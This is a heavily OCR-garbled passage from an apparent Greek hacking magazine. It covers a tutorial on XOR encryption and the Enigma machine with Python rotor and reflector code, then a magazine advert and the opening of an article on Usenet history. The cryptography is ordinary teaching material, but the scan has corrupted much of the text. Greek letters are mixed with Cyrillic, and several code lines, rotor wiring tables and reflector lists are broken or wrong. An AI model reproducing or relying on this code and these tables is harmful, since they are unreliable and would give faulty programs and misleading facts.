νει μετατοπίσεις τύπου Καίσαρα, αλλά θα χρησιμοποιεί τη συνάρτηση XOR. Τι; Δεν 
ξέρετε τη ХОВ; Πρόκειται για τη λογική συνάρτηση της αποκλειστικἠς διάζευξης. 
Πάρτε ἐναν αριθμὀ, п.х., το 65, που τυχαίνει να εἶναι ο ASCII κωδικὀὸς του характц- 
ра «А», και γράψτε τον στο δυαδικὀ: 


Το 65 δεκαδικό, στο δυαδικὀ εἶναι: 

θ 1 θ θ θ θ θ 1 
Ας πάρουμε και то 9. 
То 9 δεκαδικὀ, στο δυαδικό εἶναι: 

θ θ θ θ 1 θ θ 1 


(>.т.Е. Ау δεν εἶστε εξοικοιωμένοι µε τα διάφορα συστήματα αρίθμησης ка! τις pE- 
татропес апо το ёха στο ἀλλο, διαβάστε το σχετικὀ άρθρο στο site του περιοδικού: 
http://deltahacker.gr/?p=4192.) Н λογική πράξη XOR μεταξύ δυαδικών ψηφίων, δου- 
λεύει όπως υποδεικνύεται апо τον ακὀλουθο піуака αληθείας: 


Α Β Αποτέλεσμα 
0 0 o 
0 1 1. 
J 0 1. 
1 1 0 


Αν το προτιμάτε µε λόγια, το αποτέλεσµα της πράξης XOR εἰναι 1 αν va και µόνο 
апо τα ψηφία εἰναι 1. Εφαρμόζοντας то ХОК στα αντίστοιχα δυαδικἀ ψηφία των 
αριθμών που επιλέξαμε, παίρνουμε τον ακὀλουθο δυαδικό αριθµὀ: 


0 1 0 0 1 0 0 0 


Πρόκειται, δηλαδή για τον αριθµό 72 στο δεκαδικὀ. Το ωραίο ὁμως εἶναι ὁτι αν ξα- 
νακάνετε 72 XOR 9, θα πάρετε пал! το 65. Μπορείτε ἐτσι να κάνετε κρυπτογράφηση 
και αποκρυπτογράφηση, µε то ἰδιο κλειδί: 

#! /иѕг/біп/епу python 

key = [2, 7, 3, 4, 9, 1] 

keypos = 0 

thetext = raw_input("Enter text:") 

ciphertext = " 

for letter in thetext: 
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# Bitwise ХОК is '^' in Python 
ciphertext += chr(ord(letter) ^ key[keypos]) 
keypos +=1 
if keypos==6: 
Κεγρος-θ 
print ciphertext 


Αν δώσετε σαν plaintext τη λέξη KOLOKYTHI, θα πάρετε ως αποτέλεσµα To 
ІНОКВХУО2. Αν тора δώσετε το ІНОКВХУО2 ως εἰσοδο, θα πάρετε τη λέξη 
ΚΟΙ ΟΚΥΤΗΙ ως αποτέλεσμα. Το κλειδί σας, για то опоіо πρέπει να βρείτε ¿vav ασφα- 
Ай τρόπο μετάδοσης, εἶναι το [2,7,3,4,9,1]. 


Εξακολουθούμε να ἐχουμε δύο προβλήματα: 


ο То κλειδἰ µας εἶναι υπερβολικἁ µικρὀ, µε αποτέλεσµα ασθενἠ κρυπτογράφηση 
(επαναλαμβάνεται поло συχνὰ). 


ο Δεν ξέρουμε πώς να στείλουμε µε ασφάλεια το κλειδί στον παραλήπτη. 


Το δεύτερο πρὀβλημα, στην πραγματικότητα υπάρχει σε ὀλεςτις συμμετρικὲς κρυ- 
πτογραφήσεις: Συμμετρικἠ εἶναι µια κρυπτογράφηση που χρησιμοποιεί то ἰδιο pu- 
στικὀ κλειδὶ για να κρυπτογραφεἰ αλλά και για να αποκρυπτογραφεἰ. Προφανώς, θα 
πρέπει να βρούμε ¿vav εναλλακτικὀ τρόπο να στείλουμε το κλειδὶ στον παραλήπτη 
και να εἰμαστε σίγουροι дті δεν ἐχει πέσει στα χέρια κάποιου, πιθανώς κακόβουλου, 
τρίτου προσώπου. Όλες o! κρυπτογραφήἠσεις που ἐχουμε δει μέχρι στιγµἠς (αλλά και 
το Enigma) εἶναι συμμετρικὲς. 


Το прото πρόβλημα μπορούμε уа το λύ- Μια καλοδιατηρηµένη στρατιωτική Enigma, ὀπου 
σουµε κάνοντας то μέγεθος του κλειδιού φαίνονται та διάφορα τμήματα της. 
τουλάχιστον боо το μέγεθος του μηνύ- 
ματος! Έτσι βέβαια θα µεγιστοποιήσουµμε 
το δεύτερο πρόβλημα, αλλά θα ἐχου- 
µε ша κρυπτογράφηση που δεν σπάει! 
Πρόκειται για το περίφημο опе time 
раа (https://en.wikipedia.org/wiki/ 
One-time_pad) για το onoio µπορείτε уа 
διαβάσετε θαυμάσιες ιστορἰες κατασκο- 
πείας, καθώς σε αντίθεση µε πολλὲς ἀλ- 
λες κρυπτογραφήσεις µπορεί ἄνετα уа Rotors 
εφαρμοστεί µε μοναδικὀ εξοπλισμὀ στυ- 

Ло και χαρτὶ! Lampboard 
Тора, βέβαια, µε εξαίρεση To one time 
pad που кі αυτό δεν εἶναι ιδιαίτερα npa- 
κτικὀ για επικοινωνίες μεγάλης κλίμακας, 
οι ἄλλες μέθοδοι κρυπτογράφησης εἰτε а | 
δεν προσφέρουν καλἠ ασφάλεια εἶτε δεν бу % <--Кеуроага 
μπορούν να εφαρμοστούν χωρὶς τη βο- ὑ 2» 

ἠθεια κἀποιου υπολογιστικού συστήμα- үле “ΝΕ 

τος, ἐστω και μικρὴς ισχύος. Μιλώντας Š > Plugboard 
ειδικἀ για τα σύγχρονα συστήµατα κρυ- 
πτογράφησης, τα οποία χρησιμοποιούν 
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τεχνικἐς ασύμμετρης κρυπτογραφίας, δεν υπάρχει τρόπος να τα εφαρμόσουμε 
µε μολύβι και χαρτὶ (αν και о үрафікдс χαρακτήρας του γράφοντα μπορεί уа θεωρη- 
Өгі ισχυρήἠ μέθοδος κρυπτογράφησης апо μόνη της). Όμως την εποχή του Enigma 
δεν υπήρχε οὐτε καν о ENIAC. Пос να φτιάξουμε λοιπὸν µια πρακτικἠ μηχανή Kpu- 
πτογράφησης (µικρή, σχετικἀ εὐχρηστη, ασφαλἠ) χωρἰς να χρησιμοποιήσουμε κάτι 
апо τα σύγχρονα ηλεκτρονικά; 


Enigma 101 


H μηχανή Enigma εἶναι µια ηλεκτρομηχανικἠ κατασκευὴ και, πράγματι, για την ηλι- 
κία της εἶναι πολύ ἐξυπνα κατασκευασμένη. Н κρυπτογράφηση που εφαρμόζει εἶναι 
συμμετρικἠ και η πολυπλοκὀτητἁ της εξασφαλἰζεται χάρη σε πολλαπλά κινούμενα 
µέρη. Ας δούμε όμως та βασικἁ της τμήματα. Μια συσκευἠ Enigma περιέχει: 


ο Ένα πληκτρολόγιο αποκλειστικἁ µε γράμματα (οι αριθµοἰ στέλνονταν ως Kei- 
μενο, το ἴδιο και τα σηµεία στίξης). 


ο Ένα panel µε λαμπάκια (Ох! LEDs, µην το τρέχετε, οι ηµιαγωγοί δεν εἶχαν βρε- 
Өгі ακόµα) τα οποία φωτίζουν αντίστοιχα γράμματα. Γνωστό και ως lampboard. 


ο Ενα μπροστινὸ panel µε καλώδια/βύσματα (рішароага), το οποίο εἶναι προαι- 
ρετικὀ. Στην απλἠ εκδοχἠ (για χρήση σε επιχειρήσεις) το рінароага δεν ипар- 
χει, το διαθέτουν όμως ὀλες οι μηχανὲς στρατιωτικἠς χρήσης. 

ο Έναν χώρο ὀπου τοποθετούνται τρεις (τουλάχιστον) περιστρεφόµενοι ρότορες 
(rotors) кі ἑνας ανακλαστήρας (reflector), για τα οποία θα μιλήσουμε αναλυ- 
τικἀ σε λίγο. 


ИУ (1 ΗΕ ωωκ αἱ (ΟΝ 


Το σύστημα авто µε та καλώδια βρίσκεται στο ғипрос μέρος της μηχανής. Διατίθενται 10 ζεύγη 
καλωδίων, τα οποία ενώνουν γράμματα μεταξύ τους. Εδώ βλέπουμε δύο µόνο συνδέσεις. Αν 
κάπου δεν υπάρχει καλώδιο, το γράμμα апла αντιστοιχίζεται στον εαυτό του (πηγή: wikipedia). 
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О тропос που γενικά χρησιμοποιείται η μηχανὴ εἶναι ο ακόλουθος: 


ο Арука, τοποθετούνται τα βύσματα στο plugboard. Ουσιαστικά, то plugboard 
κάνει ἑνα αρχικὀ ανακάτεµα των γραμμάτων. Πα παράδειγµα, αν βάλετε ἑνα 
καλώδιο апо το A ото Е, όταν патат το γράμμα А στο πληκτρολόγιο θα ενερ- 
γοποιεἰται το καλώδιο που κανονικἀ αντιστοιχεἰ στο γράμμα E. Αυτό ισχύει 
κι ανάποδα (то E αντιστοιχεί ото А). То ενδιαφἐρον εἰναι ὁτι το plugboard 
λειτουργεὶ και ката την επιστροφἠ του σήματος προς то lampboard (γίνεται 
ανακάτεµα και της εξόδου). То plugboard διαθέτει 10 καλώδια και δεν εἶναι 
υποχρεωτικό να χρησιμοποιηθούν όλα. Όπου δεν υπάρχει καλώδιο, το γράμμα 
αντιστοιχίζεται στον εαυτό του. Πα την αρχικἠ µας Екбооп θα παραλείψουμε 
εντελὠςτο plugboard. Θεωρήστε, λοιπὀν, бт! δεν υπάρχει και θα επανέλθουµε 
σε επὀµενο τεύχος. 


ο ΟΙ ρότορες μπορούν να περιστραφούν χειροκίνητα και να τοποθετηθούν σε 
κάποιες αρχικὲς θέσεις, που προφανώς ¿xouv συμφωνηθεὶ апо πριν. ΟΙ рото- 
ρες περιστρἐφονται επἰσης ката τη διάρκεια της κρυπτογράφησης, µε συγκε- 
κριμένο τρόπο που θα δούμε παρακάτω. 


ο O χειριστής γράφει το μήνυμά του γράμμα προς γράμμα και σημειώνει σε κάθε 
πλήκτρο ποιο λαμπάκι του lampboard ανάβει. 


ο То κρυπτογραφημένο μήνυμα αποστέλλεται µε κἄποιον --ενδεχομένως un- 
ασφαλἠ τρόπο, π.χ. µε ασύρματο-- κι ο παραλήπτης, ἐχοντας θέσει στη µηχα- 
уй του τις ἰδιες ακριβώς αρχικὲς ρυθμίσεις, το πληκτρολογεἰ και σημειώνει ποια 
λαμπάκια ανάβουν. Το μήνυμα ἐχει αποκρυπτογραφηθεἰ! 


Στην πραγματικότητα, τα πράγματα εἶναι ακόµη πιο πολύπλοκα. 


ο Οι ρότορες εἶναι αφαιρούμενοι και μπορούν να τοποθετηθούν διαφορετικἀ iðn 
(rotor types), µε διαφορετικἠ σειρὰ. 


е O ανακλαστήρας εἶναι επίσης αφαιρούμενος και διατίθεται σε διάφορους TÙ- 
πους. 


ο Εκτὸς απὀ τη μεταβλητή αρχικἠ Bon, οι ρότορες διαθέτουν ακόµα µια εσωτε- 
ρικἡ ρύθμιση που ουσιαστικά μετατοπἰζει την κρυπτογράφηση (ring setting). 


Μπορείτε уа δείτε εδώ µια πολύ καλὴ περιγραφή κι επἰδειξη της λειτουργίας της pn- 
χανὴς Enigma: http://bit.ly/dh021_enigma (Πιθανώς θα κολλήσετε και θα δείτε όλα 
τα video του numberphile. Δεν πειράζει. То πάθαμε κι εμείς.) 


Το μεγάλο ατού της μηχανὴς εἶναι τα κινούμενα µέρη της, δηλαδὴ οι ρὀτορες. Σε 
πρώτη λοιπόν φάση θα δούμε пос εἶναι φτιαγμένος ἑνας роторас και πῶς κρυπτο- 
γραφεἰ. Και, φυσικά, пос θα εξομοιώσουμε τη λειτουργἱα του σε Python. 


Ρότορας: п ψυχή του Enigma 


Εἶναι ἑνα εξαιρετικἁ απλὀ εξάρτημα алла ταυτόχρονα και ιδιοφυὲς. Φανταστείτε τον 
ротора σαν ἑνα κύλινδρο µε 26 επαφὲς σε κάθε βάση, κυκλικἀ τοποθετημένες ὁπως 
φαίνεται στο σχήμα µας. Οι епафес αυτὲς αποτελούν την εἰσοδο κι ἑξοδο του рдто- 
ρα. Ας θεωρήσουμε τον κύλινδρο που βρίσκεται στο δεξιὸ акро της μηχανἠς µας. О! 
επαφὲς στη δεξιά του βάση συνδέονται µε το πληκτρολόγιο και o! арістерес µε τον 
επόμενο (μεσαἰο κύλινδρο). Όμως µη βιαστείτε уа хозрісете τις епафес σε εισόδους 
και εξόδους, καθώς οι ἰδιες επαφἐς χρησιμοποιούνται και µε την αντίστροφη катей- 
θυνση, προκειµένου να ενεργοποιήσουν τα λαμπάκια του lampboard. 
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Τι περιέχει μέσα Tou ἑνα ρότορας; Καλώδια που αντιστοιχούν τις δεξιὲς µε TIG αρι- 
στερὲς επαφές. Па να το δούμε καλύτερα, θα πρέπει να θεωρήσουμε ша επαφἠ του 
ротора ως την αρχἠ του. Θα τη συμβολίσουμε µε το «А». Αν πάρουμε ἑναν ротора 
τύπου ШІ, η καλωδίωση του εἰναι η παρακάτω: 


Α]ΒΙΕΙΡΙΕΙΕΙΘΙΗΙ ΙΙ }7|Κ|1|ΜΙΝΙΟΙΡΙΩΙΑΙΞΙΤΙΙΙΝΙΝΜΙΧΙΥΙΖ 
ΒΙΡΙΕΙΗΙΠΙ|ΕΙΟΙΡΙΑΗΙΤΙΧΙΝΙΖΙΝΙΥΙΕΙΙΣΙΝΜΙΘΙΑΙΚΙΜΙΙΙ!|Ξ5Ι|ΟΙΟ 


(Μπορεἰτε να δείτε ὁλες τις καλωδιώσεις για τους ρότορες τύπων I, П, П κι ἄλλων 
στο https://en.wikipedia.org/wiki/Enigma_rotor details). Αν δώσουμε ρεύμα στην 
επαφἠ «А» θα βγει апо την επαφἠ «В», αν δώσουμε στην επαφἠ «Н» θα βγει апо 
την επαφἠ «Р». 


Ἴσως тора να σκέφτεστε От! то «А» του πληκτρολογίου καταλήγει ото «А», στη 
δεξιὰ βάση του δεξιού ротора. Όχι απαραίτητα! Βλέπετε, μπορούμε να ξεκινήσουμε 
την κρυπτογράφηση θέτοντας εμείς σε ὀποια αρχικἠ θέση θἐλουµε στους ρὀτορες. 
Періотрефоутас λοιπὸν τον ротора ὥστε να δεἰχνει στη θέση «Н», το А του nàn- 
κτρολογίου θα συνδέεται στο «Н». 


То καταπληκτικὀ όμως εἶναι ὁτι ο δεξιὸς роторас του Enigma περιστρέφεται κάθε 
φορὰ που πιἐζουµε ἑνα πλήκτρο — και μάλιστα πριν γίνει η ηλεκτρική σύνδεση της 
κρυπτογράφησης του! Έτσι, αν ἐχετε βάλει ως αρχικἠ θέση το «1» και πιέσετε το 
«А», ο δεξιὸς ρὀτορας θα περιστραφεἰ прота στη θέση «К» και αµέσως μετὰ θα 
συνδεθεί то ηλεκτρικὀ κύκλωμα πλήκτρο «А» > Θέση «К». Αν αµέσως μετά πιέσε- 
τε το «О», ο рдторас θα περιστραφεἰ прота στη θέση «і» και θα γίνει η σύνδεση 
πλήκτρο «О» Θέση «О» (αφού το «і» εἶναι тора η πρώτη επαφἠ, το «О» που 
πιέσατε θα συνδεθεἰ στην τέταρτη, που εἶναι το «О»). Ακόμη κι αν піЕсете 10 φορὲς 
το πλήκτρο А συνεχόμενα, θα πάρετε 10 διαφορετικἐς κρυπτογραφήσεις. Κι αυτό µε 
Еуау µόνο ротора! 


H ἐξοδος του δεξιού ротора πηγαίνει στον μεσαίο και του μεσαίου στον αριστερὀ, 
οπότε φανταστείτε ὁτι η διαδικασία «ауакатёратос̧» των γραμμάτων επαναλαμβά- 
νεται ἄλλες δύο φορές! Και δεν τελειώσαμε. Βλέπετε, κάθε роторас ἐχει µια күкопц 
(η θέση της εξαρτάται апо τον τύπο του) που ενεργοποιεἰ τον επόμενο. О δεξιὸς 
ρότορας περιστρέφεται κάθε фора που πιἐζουµε éva πλήκτρο. Όταν φτάσει στην 
εγκοπἠ του περιστρέφει τον µεσαἰο ротора κατὰ µία θέση. Και το ἴδιο γίνεται µε τον 
μεσαίο: στην εγκοπἠ του περιστρέἐφει τον αριστερὀ. 


Отау το ρεύμα φτάσει στην αριστερἠ βάση του αριστερού ρότορα, εισέρχεται στον 
ανακλαστήρα. O ανακλαστήρας εἰναι ἑνα πολύ απλὀ εξάρτημα το οποίο ἐχει μόνο 
ша ενεργἡ βάση µε 26 επαφές, τις οποίες ενώνει ауа ζεύγη. Τα τρία Васка εἰδη 
ανακλαστήρων εἶναι τα А, B και С. Αν πάρουμε Еуау τύπου B και του δώσουμε ре0- 
μα στην επαφἠἡ «А», θα µας το επιστρέψει στην επαφἠ «Y». Апо εκεἰ το ρεύμα θα 
кіудӨеі αντἰστροφα μέσα στους рдторес µας, μέχρι να φτάσει στο λαμπάκι που θα 
ενεργοποιηθεἰ στο lampboard. 


Enigma Simulator, πρώτη απόπειρα 


Επειδἠ σίγουρα τόση ора μᾶλλον σας ἐχουν ανάψει τα λαμπάκια, ора να γράψουμε 
λίγη Python. Θα δημιουργήσουμε την απλούστερη δυνατή μηχανὴ Enigma, που ng- 
ριέχει μόνο ἑναν δεξιὸ ротора τύπου Ш κι ἑνα ανακλαστήρα τύπου В. Σίγουρα δεν 
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Ένας рдторас, HE тіс επαφἑς του κυκλικά 
τοποθετημένες στην αριστερή και δεξιά βάση. 
Το δαχτυλίδι µε τα γράμματα μάς επιτρέπει να 
ρυθµίσουµε την αρχική θέση (starting position). 
Εσωτερικἁ υπάρχουν απλώς καλώδια που ενώνουν 
τις επαφἑς της µιας βάσης µε την ἄλλη, σύμφωνα µε 
ἑναν απλό πίνακα αντιστοιχιών (πηγή: Wikipedia). 


1 2 3 456 789 10 


εἶναι ασφαλἠς, алла εἰναι µια αρχἠ για να προχωρήσουμε. Φυσικά, για να περιγρά- 
ψουµε τον ротора και τον ανακλαστήρα θα χρησιμοποιήσουμε κλάσεις. 


Ας ξεκινήσουμε апо τον ανακλαστήρα. Περιέχει ша апл Ліста µε αντιστοιχίες 
ακροδεκτών. Στην κλάση µας προβλἑέψαμε τα δύο πιο συνηθισμένα iðn ανακλαστή- 
ρων, τα τύπου «В» και τύπου «С». H μόνη τους διαφορὰ εἶναι οι αντιστοιχίες. 
class Reflector(object): 
def _ init_ (self, %уре-В): 
self.type = type 
if self.type == 'B': 
self.reflection_table = [24, 17, 20, 7, 16, 18, 11, 
3, 15, 23, 13, 6, 14, 10, 
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12, 8, 4, 1, 5, 25, 2, 22, 
21, 9, 0, 191 
е15е: 
self.reflection_table = (Б, 21, 15, 9, 8, Ө, 14, 24, 
4, 3, 17, 25, 23, 13, 6, 2, 
19, 10, 20, 16, 18, 1, 
13, 12, 7, 11] 
def reflect(self, position): 
if position >=0 and position <=25: 
return self.reflection_table[position] 


Προφανώς, η μόνη λειτουργία που εκτελεἰ ауто το απλὀ εξάρτημα εἶναι n reflect. 
Πα παράδειγµα: 


thereflector=Reflector ("В") 

output = thereflector(0) 
Εδὠ ζητάμε апо τον avakÀqoTñpa την ανάκλαση της επαφἠς 0, που αντιστοιχεί στο 
«А». Το αποτέλεσµα θα εἶναι 24, που αντιστοιχεἰ στο «Y». 
Και πάμε στον ротора. О δυο Васікес του λειτουργἰες εἶναι οι ακόλουθες. 


cipher. Όταν о ρὀτορας δέχεται ηλεκτρικὀ ойра σε ἑναν ακροδέκτη στη δεξιά του 
βάση, το μεταδίδει σε Еуау ακροδέκτη της αριστερἠὴς (σύμφωνα πάντα µε µια λίστα 
που δίνει τις αντιστοιχίες ακροδεκτὠν). 

геПесїСїрһег. Αντίστροφη κρυπτογράφηση: Όταν о рдторас δέχεται ηλεκτρικὀ 
σήμα σε ακροδέκτη της αριστερἠς βάσης το μεταδίδει σε ακροδέκτη της δεξιάς, 
χρησιμοποιώντας την ἴδια λίστα µε πριν αλλά ανάστροφα! 

Όμως ἐχει кі ἀλλες ιδιότητες. 


rotate. О ρὀτορας περιστρέφεται ката τη διαδικασία κρυπτογράφησης. Αν про- 
κειται για τον δεξιότερο рӧтора, περιστρέφεται σε кабе πἰεση πλήκτρου και πριν 
γίνουν οι ηλεκτρικὲς συνδέσεις. 
ο O ρότορας τοποθετείται σε κἄποια αρχικἠ θέση µε χειροκίνητη περιστροφή, 
πριν ξεκινήσει η διαδικασία της κρυπτογράφησης. 


ο Τέλος, καλὸ εἶναι να μπορούμε να τον ρωτήσουμε σε ποια θέση βρίσκεται. 


class Rotor(object): 
def _ init__(self, startposition,placement): 
self.letter_ring = [ (А, В, С, 'р', Е, 
аса ааа 


се1Ғ.р1асетепе = placement 
То letter_ring εἶναι ο δακτύλιος µε τα γράμματα που μεταξύ ἄλλων µας επιτρέπει 
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να βλέπουμε σε ποια αρχικἠ θέση έχουμε τοποθετήσει τον ротора µας. Μια τυπικἠ 
unxavn Enigma ἐχει τρεις ρότορες κι εδὠ το placement δείχνει αν ο рбторас µας εἰ- 
ναι τοποθετημένος αριστερά (left), στη μέση (middle) ἡ δεξιά (right). Αν εἶναι δεξιά, 
περιστρέφεται αυτόματα σε κάθε πἰεση πλήκτρου. 

self.position = ord(startposition) - 65 
Τη θέση τη δίνουμε σε µορφή γράμματος, «Α»-»Ζ», αλλά Tn µετατρέπουμµε σε αριθ- 
HÓ апо 0-25 

for 1 іп гапре(0, self.position): 

self.rotate() 

Περιστρέφουµμε τον ротора µία-μία θέση, μέχρι να φτάσει στην αρχικἠ θέση που 
δώσαμε. Δεν εἶναι αποδοτικό, αλλά μοιάζει поло στην original μηχανή! 


Κι εδώ βλέπουμε τη συνάρτηση που κάνει την περιστροφή, τόσο για να πάμε χει- 
ροκἰνητα στην αρχικἠ θέση боо και ката τη διάρκεια της κρυπτογράφησης. Λογικό 
εἶναι, όταν о ρότορας περιστραφείἰ μέχρι το «2» (25), να επιστρέφει στο «А» (0): 


def rotate(self): 
се1Ғ.рові4іоп +=1 
if self.position == 26: 
self.position = 0 
self.connections = self.connections[1:]+self.connections[0:1] 
self.letter_ring = self.letter_ring[1:] + self.letter_ring[8:1] 
То self.connections δεν το Ехоуне δει ακόμα, αλλά εἶναι η Ліста που περιέχει ТІС 
αντιστοιχίες των ακροδεκτώὠν. Προσέξτε τι γίνεται στην περιστροφἠ. Ἑνας ρότορας 
στη θέση «А», ἐχει тіс αντιστοιχίες που εἰδαμε παραπάνω: 
А|ВІС|ВЦЕ|Ғ|ЦІСІНІТІЗІКІГІМІМІОІРІО|К|СІТІЗШІУІМ|Х|Ү|7 
ВІБРПІҒІНІЗДІ|СІРІКІТІ|ХІУІ|7Г|МЦҮЦДЕДІ|МІСЦДА|К|М|9|51010 


O ακροδέκτης μηδὲν, εἶναι о «А». Όταν ο ρὀτορας περιστραφεὶ µια θέση, ἐχουμε: 


B CD ЕЕ GH I ΚΙ ммо Р QI IRSST U VW X V Z A 
D FH JI LI Ρα TX V ZIN Y EJ IWI GA KI MUIS QO B 
O акробёктпс μηδὲν, εἶναι о «В». Πρέπει va περιστρἐέψουµε ταυτόχρονα τη Ліста µε 
τα γράμματα (letter гіпа) και тіс αντιστοιχίες (connection), εργασἰα που χάρη στην 
Python γίνεται εξαιρετικά εὐκολα: 


self.letter_ring = self.letter_ring[1:] + self.letter_ring[0:1] 


To self.letter_ring[1:] нас δίνει τη Ліста ξεκινώντας апо то δεύτερο στοιχεἰο της και 
στην ἄκρη προσθέτουμε ξανὰ το прото γράμμα (self.letter_ring[0:1]). 


Και πάμε στην κρυπτογράφηση апо δεξιά προς αριστερά, που εἶναι εὐκολη: 
def cipher(self, letter): 
if self.placement == 'Right': 
self.rotate() 
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Αν ο ρὀτορας εἶναι о δεξιός, TOV περιστρέφουµε πριν κάνουμε οτιδήποτε. 
inputletter = self.letter_ring[letter] 
outputletter = self.connections[letter] 


To letter, στην πραγματικότητα εἶναι ο αριθµός тои акробектп που ενεργοποιείται. 
Ἐχει ша τιµή апо 0 šoc 25. Στα inputletter και outputletter, ἐχουμε τα αντίστοιχα 
γράμματα σύμφωνα HE тіс λίστες αντιστοιχιών. Όμως ауто που праүратіка µας ev- 
διαφέρει εἶναι σε ποιον ακροδέκτη της δεξιάς βάσης καταλήγει το σήμα εξόδου, γιατὶ 
και στον επόμενο ротора θα δώσουμε εἰσοδο µε βάση τον αριθμὀ αυτό: 


outputindex = self.letter_ring.index(outputletter) 
Τέλος, επιστρέφουµε ὁπι υπολογἰσαμε: 

return (inputletter, outputletter, outputindex) 
Εντελώὼς αντίστοιχα έχουμε την αντίστροφη κρυπτογράφηση (апо δεξιά прос αρι- 
отєра): 

def reflectCipher(self, letter): 

inputletter = self.letter_ring[letter] 

outputindex = self.connections.index(inputletter) 

outputletter = self.letter_ring[outputindex] 

return (inputletter, outputletter, outputindex) 


Όλο το παραπάνω ñTav Φυσικά ἑνα superclass, που καλύπτει каӨе πιθανό τύπο pò- 
тора. Αλλά για να φτιάξουμε éva type ІП Rotor, δεν χρειαζόμαστε τίποτα ἆλλο апо 
τη λίστα αντιστοιχιών: 


class RotorIII(Rotor): 
def _ init_ (self, startposition,placement='Right'): 
self.connections = ['B','D','F', H','J','L','C', 
р", Β', Τ', Χ', ν', Ζ', Ν', 
Υ', Ἐ', Ἱ',ἸΝ', 16", 'A', Κ', 
μ.ο ο] 
super(RotorIII,self)._ init_ (startposition,placement) 


Κατεβάστε το прбүранна апо το http://bit.ly/dh021enigma και δείτε το αποτέλεσμα 
που ἐχει για τη λέξη НЕШО. Δοκιμάστε να δώσετε το αποτέλεσμα ως εἰσοδο, για να 
βεβαιωθείτε От! κάνει αποκρυπτογράφηση. Δοκιμάστε να δώσετε πολλὲς φορὲς то 
ἰδιο γράμμα. Τι θα γίνει αν προσπαθήσετε уа κρυπτογραφήσετε éva string апо 26 
στο πλήθος «А»; Προκύπτει ποτὲ то «А» στην ἐξοδο; Ох! Μόλις ανακαλύψατε ¿va 
βασικὀ πρόβλημα του Enigma: Ένα γράμμα δεν κρυπτογραφεἰται ποτὲ στον εαυτὸ 
του. Κι αυτό, φίλοι, µου ἦταν аркетд για να опас η κρυπτογράφηση! 


Πιστεύουμε От! ἐχετε αρκετἠ μελέτη μέχρι το επόμενο τεύχος, ὁπου θα ἐχουμε µια 
πιο ολοκληρωμένη Екбооп Enigma. Καλό σπαζοκεφάλιασμα :) 
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Η ηλεκτρονική ΕΚδΟΟσΗ του deltaHacker δεν 


έχει каша σχέση µε Өлі έχετε δει ως τώρα. 


Είναι portoble ко! searchable — 


Επιτρέπει την KI ovrypogn κειµένου, αλλά και 
την EKTUNWON. 


Είναι у дегт алс Και δείχνει τέλεια παντού: 
στο tablet, στο smartphone και φυσικά στον υπολογιστή. 


А! n ηλεκτρονική £KOOOHn του deltaHacker 


δεν έχει τεχνητούς περιορισμούς και 
δεν τιμωρεί τον κἀτοχό της, 


Στηρίξτε τη δουλειά µας κι επιτρέψτε µας να τη 
συνεχίσουμε, 


Αποκτήστε τώρα ша апо τις ηλεκτρονικές 
συνδρομές στο Περιοδικό deltaHacker. 
Κι εσείς. 


http://deltahacker.gr/pdf12order 


Usenet: Παλιά υπηρεσία, уЕа αποστολή! 


Usenet: Παλιά υπηρεσία, νέα αποστολή! 
УМ ХХХ ҮЬт6У УХ УУУУ 7 ”7УУ76Қ  ЛИЯЧХЫҰЯЯ 


Γύρω στα бека χρόνια πριν апо την Ep- ш ш 
φάνιση του мер, υπήρχε µια υπηρεσία 

που επἐτρεπε στους χρήστες να επικοι- %ы y 
νωνούν ελεύθερα кі απὀ οποιοδήποτε | | 
μέρος του πλανήτη!. Н εν λόγω υπηρε Ш> — Ш 
σία δεν χρησιμοποιούσε το Internet exei- 


νης της εποχής, το λεγόμενο ARPANET, 
αλλὰ βασιζόταν στη διασύνδεση των N 7 
ακαδημαϊκών συστημάτων. Αναφερόμα- 


στε στο Usenet, που θα μπορούσαμε уа 555 
θεωρήσουμε ως τον παπποῦ των σηµε- κ” 


ρινὼν forum. H δομή του Usenet poid- 


ζει µε εκείνη των σημερινών discussion г” “, 
boards, αλλά о τρὀπος μεταφοράς των а || m 
μηνυμάτων θυμίζει το email. Ακόμη ка! = 


σήμερα, 33 χρόνια μετά, TO εν λόγω où- 

στηµα υπάρχει και λειτουργεὶ άψογα! 

Σε αυτὸ το арӨро θα γυρίσουμε μερικὲς Όλοι οι servers του Usenet εἶναι συνδεδεμένοι 
δεκαετίες πίσω και θα πούμε био λόγια μηνυμα ού τούς κα συγχρονίζουν сонс то 
για την ιστορἱα και για τη λειτουργία του о διαχειριστές ΚΙ ο λόγος εἶναι το μέγεθος αλλά και 
Usenet. Επιπρὀσθετα, θα αναφέρουμε η *албүготп* χρήση μερικών πινάκων. 
τις κατηγορἰες στις οποίες χωρίζεται то 

περιεχόμενό του, ενώ θα δούµε пос μπορούμε να αποκτήσουμε πρὀσβαση σε αυτό. 
τελικά, θα μάθουμε γιατὶ µετά апо τόσα χρόνια υπάρχει κόσμος, που Ἁπληρώνει” για 
уа ἐχει πρὀσβαση στο Usenet! 


Τι εἶναι το Usenet; 


Ως Usenet μπορούμε να ορίσουμε ёха σύνολο апо servers σε ολόκληρο τον πλανήτη, 
που επικοινωνούν μεταξύ τους µέσω του Network News Transfer Protocol (ММТР). О! 
χρήστες που συνδέονται σε κἀποιον server στη μακρυνή Ασία:, βλέπουν τα μηνύ- 
рата όλων των χρηστών, апо ὀλες τις χώρες και ὁλους τους servers. Φανταστείτε 
το σαν ἑναν τεράστιο, παγκόσμιο πίνακα ανακοινώσεων. Σε γενικὲς γραμμές, για να 
δει κανεὶς τα μηνύματα αυτού του πίνακα χρειάζεται vav newsreader. Στα прота 
χρόνια της υπηρεσίας, κάθε χρήστης ἦταν ταυτόχρονα *ка!* server. Αυτό γινόταν 
γιατὶ οι συνδέσεις τότε δεν ἦταν καθόλου σταθερὲς και το bandwidth ἦταν εξαι- 
ρετικἀ περιορισμένο. Έτσι, τα διάφορα μηνύματα έπρεπε να διατηρούνται топіка, 
ενώ ο συγχρονισμός τους γινόταν αυτόματα και σταδιακἀ, отау και για ὁσο υπήρχε 
σύνδεση. Προφανώς, οι χρήστες σήµερα δεν χρειάζονται τον δικὀ τους Server. >ñ- 
μερα арке! η σύνδεση σε κἄποιον πάροχο Usenet, ο οποίος αναλαμβάνει και όλη τη 
διακίνηση των μηνυμάτων. Ауарштіеоте пос εἶναι δυνατόν να βρούμε τα μηνύματα 
που µας ενδιαφέρουν μέσα σε αυτὸν το χαμό; 


Ἱεράρχηση 


Τα μηνύματα στο Usenet ταξινομούνται σε κατηγορίες, ανάλογα µε το περιεχόµε- 
νο τους. Ἔτσι, για να συζητήσει και να διαβάσει κανεἰς για το BSD, θα πρέπει να 
